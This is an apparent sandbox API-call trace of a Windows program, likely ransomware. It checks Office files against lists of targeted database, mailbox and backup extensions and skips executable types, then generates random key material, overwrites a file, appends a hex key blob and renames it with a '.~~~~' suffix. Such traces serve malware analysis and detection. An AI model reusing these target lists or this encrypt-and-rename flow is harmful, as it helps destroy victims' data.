	[0146.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.044] lstrlenW (lpString=".sqb") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".sqb") returned 0x0
	[0146.044] lstrlenW (lpString=".ost") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".ost") returned 0x0
	[0146.044] lstrlenW (lpString=".txt") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".txt") returned 0x0
	[0146.044] lstrlenW (lpString=".mdt") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".mdt") returned 0x0
	[0146.044] lstrlenW (lpString=".BDB") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".BDB") returned 0x0
	[0146.044] lstrlenW (lpString=".eql") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".eql") returned 0x0
	[0146.044] lstrlenW (lpString=".DBF") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DBF") returned 0x0
	[0146.044] lstrlenW (lpString=".EQL") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".EQL") returned 0x0
	[0146.044] lstrlenW (lpString=".FDB") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".FDB") returned 0x0
	[0146.044] lstrlenW (lpString=".EDB") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".EDB") returned 0x0
	[0146.044] lstrlenW (lpString=".DACPAC") returned 7
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0146.044] lstrlenW (lpString=".VHD") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".VHD") returned 0x0
	[0146.044] lstrlenW (lpString=".DBV") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DBV") returned 0x0
	[0146.044] lstrlenW (lpString=".dacpac") returned 7
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0146.044] lstrlenW (lpString=".sdf") returned 4
	[0146.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".sdf") returned 0x0
	[0146.045] lstrlenW (lpString=".accdb") returned 6
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".accdb") returned 0x0
	[0146.045] lstrlenW (lpString=".DBX") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DBX") returned 0x0
	[0146.045] lstrlenW (lpString=".MDT") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".MDT") returned 0x0
	[0146.045] lstrlenW (lpString=".SQB") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".SQB") returned 0x0
	[0146.045] lstrlenW (lpString=".vhd") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".vhd") returned 0x0
	[0146.045] lstrlenW (lpString=".bac") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".bac") returned 0x0
	[0146.045] lstrlenW (lpString=".mdf") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".mdf") returned 0x0
	[0146.045] lstrlenW (lpString=".BAK") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".BAK") returned 0x0
	[0146.045] lstrlenW (lpString=".BAC") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".BAC") returned 0x0
	[0146.045] lstrlenW (lpString=".dbs") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dbs") returned 0x0
	[0146.045] lstrlenW (lpString=".vhdx") returned 5
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0146.045] lstrlenW (lpString=".NDF") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".NDF") returned 0x0
	[0146.045] lstrlenW (lpString=".dat") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dat") returned 0x0
	[0146.045] lstrlenW (lpString=".DBS") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DBS") returned 0x0
	[0146.045] lstrlenW (lpString=".CKP") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".CKP") returned 0x0
	[0146.045] lstrlenW (lpString=".edb") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".edb") returned 0x0
	[0146.045] lstrlenW (lpString=".PST") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".PST") returned 0x0
	[0146.045] lstrlenW (lpString=".dbf") returned 4
	[0146.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dbf") returned 0x0
	[0146.046] lstrlenW (lpString=".SQL") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".SQL") returned 0x0
	[0146.046] lstrlenW (lpString=".pst") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".pst") returned 0x0
	[0146.046] lstrlenW (lpString=".dbv") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dbv") returned 0x0
	[0146.046] lstrlenW (lpString=".SDF") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".SDF") returned 0x0
	[0146.046] lstrlenW (lpString=".dtxs") returned 5
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0146.046] lstrlenW (lpString=".db3") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".db3") returned 0x0
	[0146.046] lstrlenW (lpString=".OST") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".OST") returned 0x0
	[0146.046] lstrlenW (lpString=".dbx") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dbx") returned 0x0
	[0146.046] lstrlenW (lpString=".DB3") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DB3") returned 0x0
	[0146.046] lstrlenW (lpString=".DAT") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DAT") returned 0x0
	[0146.046] lstrlenW (lpString=".VHDX") returned 5
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0146.046] lstrlenW (lpString=".ndf") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".ndf") returned 0x0
	[0146.046] lstrlenW (lpString=".DB") returned 3
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DB") returned 0x0
	[0146.046] lstrlenW (lpString=".sql") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".sql") returned 0x0
	[0146.046] lstrlenW (lpString=".MYD") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".MYD") returned 0x0
	[0146.046] lstrlenW (lpString=".DBT") returned 4
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DBT") returned 0x0
	[0146.046] lstrlenW (lpString=".ACCDB") returned 6
	[0146.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0146.047] lstrlenW (lpString=".fdb") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".fdb") returned 0x0
	[0146.047] lstrlenW (lpString=".bak") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".bak") returned 0x0
	[0146.047] lstrlenW (lpString=".myd") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".myd") returned 0x0
	[0146.047] lstrlenW (lpString=".DTXS") returned 5
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0146.047] lstrlenW (lpString=".ckp") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".ckp") returned 0x0
	[0146.047] lstrlenW (lpString=".dbt") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".dbt") returned 0x0
	[0146.047] lstrlenW (lpString=".db") returned 3
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".db") returned 0x0
	[0146.047] lstrlenW (lpString=".TXT") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".TXT") returned 0x0
	[0146.047] lstrlenW (lpString=".MDF") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".MDF") returned 0x0
	[0146.047] lstrlenW (lpString=".bdb") returned 4
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".bdb") returned 0x0
	[0146.047] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.047] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395da0) returned 1
	[0146.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.048] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.049] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26603870773) returned 1
	[0146.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc074e3b0, dwHighDateTime=0x1d60e1e)) 
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a20c8
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a20c8 | out: hHeap=0x300000) returned 1
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.049] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.049] GetLastError () returned 0x0
	[0146.050] GetLastError () returned 0x0
	[0146.050] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.050] GetLastError () returned 0x0
	[0146.050] GetLastError () returned 0x0
	[0146.050] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x277, lpOverlapped=0x0) returned 1
	[0146.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffd89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.052] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x277, lpOverlapped=0x0) returned 1
	[0146.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.052] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.052] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.052] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.052] CloseHandle (hObject=0x114) returned 1
	[0146.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0146.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.~~~~")) returned 1
	[0146.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.055] GetLastError () returned 0x0
	[0146.055] RtlWakeConditionVariable () returned 0x0
	[0146.055] GetCurrentThreadId () returned 0xaf0
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".scr") returned 0x0
	[0146.055] lstrlenW (lpString=".cmd") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".cmd") returned 0x0
	[0146.055] lstrlenW (lpString=".dll") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dll") returned 0x0
	[0146.055] lstrlenW (lpString=".bat") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".bat") returned 0x0
	[0146.055] lstrlenW (lpString=".cpl") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".cpl") returned 0x0
	[0146.055] lstrlenW (lpString=".sys") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".sys") returned 0x0
	[0146.055] lstrlenW (lpString=".msc") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".msc") returned 0x0
	[0146.055] lstrlenW (lpString=".com") returned 4
	[0146.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".com") returned 0x0
	[0146.055] lstrlenW (lpString=".lnk") returned 4
	[0146.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".lnk") returned 0x0
	[0146.056] lstrlenW (lpString=".msp") returned 4
	[0146.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".msp") returned 0x0
	[0146.056] lstrlenW (lpString=".pif") returned 4
	[0146.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".pif") returned 0x0
	[0146.056] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0146.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.058] lstrlenW (lpString=".sqb") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".sqb") returned 0x0
	[0146.058] lstrlenW (lpString=".ost") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".ost") returned 0x0
	[0146.058] lstrlenW (lpString=".txt") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".txt") returned 0x0
	[0146.058] lstrlenW (lpString=".mdt") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".mdt") returned 0x0
	[0146.058] lstrlenW (lpString=".BDB") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".BDB") returned 0x0
	[0146.058] lstrlenW (lpString=".eql") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".eql") returned 0x0
	[0146.058] lstrlenW (lpString=".DBF") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DBF") returned 0x0
	[0146.058] lstrlenW (lpString=".EQL") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".EQL") returned 0x0
	[0146.058] lstrlenW (lpString=".FDB") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".FDB") returned 0x0
	[0146.058] lstrlenW (lpString=".EDB") returned 4
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".EDB") returned 0x0
	[0146.058] lstrlenW (lpString=".DACPAC") returned 7
	[0146.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0146.058] lstrlenW (lpString=".VHD") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".VHD") returned 0x0
	[0146.059] lstrlenW (lpString=".DBV") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DBV") returned 0x0
	[0146.059] lstrlenW (lpString=".dacpac") returned 7
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0146.059] lstrlenW (lpString=".sdf") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".sdf") returned 0x0
	[0146.059] lstrlenW (lpString=".accdb") returned 6
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".accdb") returned 0x0
	[0146.059] lstrlenW (lpString=".DBX") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DBX") returned 0x0
	[0146.059] lstrlenW (lpString=".MDT") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".MDT") returned 0x0
	[0146.059] lstrlenW (lpString=".SQB") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".SQB") returned 0x0
	[0146.059] lstrlenW (lpString=".vhd") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".vhd") returned 0x0
	[0146.059] lstrlenW (lpString=".bac") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".bac") returned 0x0
	[0146.059] lstrlenW (lpString=".mdf") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".mdf") returned 0x0
	[0146.059] lstrlenW (lpString=".BAK") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".BAK") returned 0x0
	[0146.059] lstrlenW (lpString=".BAC") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".BAC") returned 0x0
	[0146.059] lstrlenW (lpString=".dbs") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dbs") returned 0x0
	[0146.059] lstrlenW (lpString=".vhdx") returned 5
